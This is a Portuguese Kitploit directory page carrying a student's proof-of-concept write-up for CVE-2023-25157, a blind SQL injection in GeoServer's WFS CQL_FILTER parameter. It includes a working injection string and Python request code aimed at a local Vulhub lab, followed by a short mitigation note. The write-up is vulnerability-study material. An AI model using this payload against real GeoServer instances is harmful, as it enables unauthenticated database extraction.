Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
geoserver-CVE-2023-25157 — Exploit de prova de conceito para CVE-2023-25157, uma vulnerabilidade de injeção SQL cega no parâmetro CQL_FILTER do WFS do GeoServer, permitindo extração de dados não autenticada. | Kitploit
Ferramentas/GitHubGitHub/custiya/geoserver-cve-2023-25157
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHubcustiya/geoserver-cve-2023-25157

geoserver-CVE-2023-25157

Exploit de prova de conceito para CVE-2023-25157, uma vulnerabilidade de injeção SQL cega no parâmetro CQL_FILTER do WFS do GeoServer, permitindo extração de dados não autenticada.

Ver Repositório
há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

geoserver CVE-2023-25157

White Hat 3ª turma [30º grupo] 김정우


Link do github - https://github.com/custiya/geoserver-CVE-2023-25157

Resumo da vulnerabilidade

  • CVE-2023-25157 é uma vulnerabilidade SQLi que ocorre no GeoServer, um serviço web de dados de mapas de código aberto
  • Ocorre em algumas versões do GeoServer 2.22.0 e inferiores
  • O parâmetro CQL_FILTER nas requisições WFS (Web Feature Service) é vulnerável
  • Qualquer pessoa pode explorar se tiver acesso à API sem autenticação

Configuração do ambiente

  • Execute o ambiente de teste com o comando docker compose up -d
  • Acesse a página em http://your-ip:8080/geoserver
  • Primeiro, é necessário descobrir um workspace existente que contenha um armazenamento de dados PostGIS
  • A instância do GeoServer do Vulhub já possui um armazenamento de dados PostGIS
    • Nome do workspace: vulhub
    • Nome do armazenamento de dados: pg
    • Nome da tabela: example
    • Atributo utilizado: name

poc.py

  • Forma de construir a sintaxe SQLi baseada no conteúdo descrito acima
  • Envia a sintaxe para o servidor usando o módulo requests
  • strStartsWith(name,'x'') = true
  • Adiciona uma aspa extra após x para quebrar a sintaxe SQL
  • and 1=(SELECT CAST ((SELECT version()) AS integer))
    • A função version() retorna a versão atual do PostgreSQL como string
    • CAST(... AS integer) força a conversão para inteiro, causando um erro
    • O servidor retorna uma mensagem de erro, permitindo testar Blind SQL Injection
  • root@kitploit:~
    # 대상 URL
    url = "http://localhost:8080/geoserver/ows"
    
    # CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
    cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
    
    # 파라미터 설정
    params = {
        "service": "wfs",
        "version": "1.0.0",
        "request": "GetFeature",
        "typeName": "vulhub:example",
        "CQL_FILTER": cql_filter
    }
    

    Resultado

    Alt text

    Conclusão

    • Através deste PoC, foi possível verificar a ocorrência de SQLi. Um atacante poderia coletar informações do sistema através de consultas SQL.
    • Para prevenir este ataque, é necessário adicionar validação de entrada do usuário. Além disso, as declarações SQL recebidas não devem ser usadas diretamente, mas sim armazenadas e usadas separadamente.
    Baixar ferramenta